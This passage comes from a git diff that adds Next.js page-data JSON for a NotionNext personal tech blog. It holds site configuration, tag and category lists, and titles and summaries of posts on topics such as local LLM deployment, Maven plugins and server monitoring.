9fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},"recommendPosts":[]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-9.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-9.json new file mode 100644 index 000000000..8b5b80899 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-9.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-9","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章9","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:20:06.142Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=463a12f0-d5d5-4492-bb0f-8058cea32a41","pageCoverThumbnail":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=463a12f0-d5d5-4492-bb0f-8058cea32a41&width=800&fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":"","blockMap":{"block":{"463a12f0-d5d5-4492-bb0f-8058cea32a41":{"value":{"id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","version":7,"type":"page","content":["a8c29bdc-907d-4d34-91e5-16cb41d364a8","0af78e74-0f6f-4835-9439-2011e6119213","7ed33ddc-96f3-45fe-a1d8-1a1f638de98e","dce8171f-4f6b-4ed0-ba15-9768718c01fb","04356097-50ce-4d5e-bebf-cf7b41537fcd","b330bfba-4093-42e6-87c7-2b5459c9cf76","1fbd3e80-cdb5-4a08-bce3-ab338829afb3","fd545374-5d81-4a2d-ab21-2d4df214b9f0","ec9723c4-8b25-47e0-9df3-971848bbf522","46fd514c-56fb-49d6-9b5c-a471a2f1b4a8","8624876d-b0bf-44d3-86a2-34e832f77ea9","f2398279-7337-415d-92de-ce76a1245c9f","d858f147-752b-4fd7-a931-6e270a7b7f98","468c0bd8-9b86-4390-973c-a9ba199aa3b8"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"55acf9